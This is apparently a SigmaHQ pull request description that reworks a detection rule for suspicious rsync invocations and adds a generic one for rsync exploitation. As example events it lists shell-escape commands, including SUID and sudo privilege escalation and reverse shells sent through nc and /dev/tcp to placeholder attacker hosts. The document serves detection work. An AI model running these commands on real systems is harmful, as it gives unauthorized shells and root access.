Rsync exploitation

[Neo23x0]

Summary of the Pull Request

I reworked the rule for suspicious rsync invocations and added a new one that is supposed to detect rsync exploitations in a generic way (e.g. CVE-2024-12084 https://sysdig.com/blog/detecting-and-mitigating-cve-2024-12084-rsync-remote-code-execution/ ). Since it's more a generic rule than a specific detection for an exploitation of CVE-2024-12084 I decided to not add it to the emerging-threats rule set but add it to the standard set.

The old rule for suspicious rsync invocations with the -e flag had a wrong description and far too specific strings in the selection. I wonder if this ever matched anywhere. I composed a list of examples so that everyone can understand why the previous values were too specific and show the variety of way in which such a command could be written.

Changelog

new: suspicious shell invocation via rsync without the -e flag
update: made the far too narrow existing rsync rule more generic

Example Log Event

Examples for rsync invocations

# Basic Shell Escapes
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e 'bash -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/bash -i' 127.0.0.1:/dev/null
rsync -e 'dash -c "dash 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/dash -i' 127.0.0.1:/dev/null
rsync -e 'zsh -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/zsh -i' 127.0.0.1:/dev/null
rsync -e 'ksh -c "ksh 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/bin/ksh -i' 127.0.0.1:/dev/null
rsync -e 'busybox sh' 127.0.0.1:/dev/null
rsync -e 'busybox ash' 127.0.0.1:/dev/null
rsync -e 'fish -c "fish 0<&2 1>&2"' 127.0.0.1:/dev/null
rsync -e '/usr/bin/fish -i' 127.0.0.1:/dev/null

# Abusing SUID with Different Shells
./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
./rsync -e 'bash -p -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null
./rsync -e 'zsh -p -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null
./rsync -e 'ksh -p -c "ksh 0<&2 1>&2"' 127.0.0.1:/dev/null

# Abusing Sudo Permissions
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'bash -c "bash 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'zsh -c "zsh 0<&2 1>&2"' 127.0.0.1:/dev/null
sudo rsync -e 'sh -c "/bin/sh 0<&2 1>&2"' 127.0.0.1:/dev/null

# Using Netcat for Reverse Shells
rsync -e 'sh -c "nc -e /bin/sh attacker-ip attacker-port"' 127.0.0.1:/dev/null
rsync -e 'bash -c "bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1"' 127.0.0.1:/dev/null
rsync -e 'zsh -c "zsh -i >& /dev/tcp/attacker-ip/attacker-port 0>&1"' 127.0.0.1:/dev/null

Fixed Issues

SigmaHQ Rule Creation Conventions

• If your PR adds new rules, please consider following and applying these conventions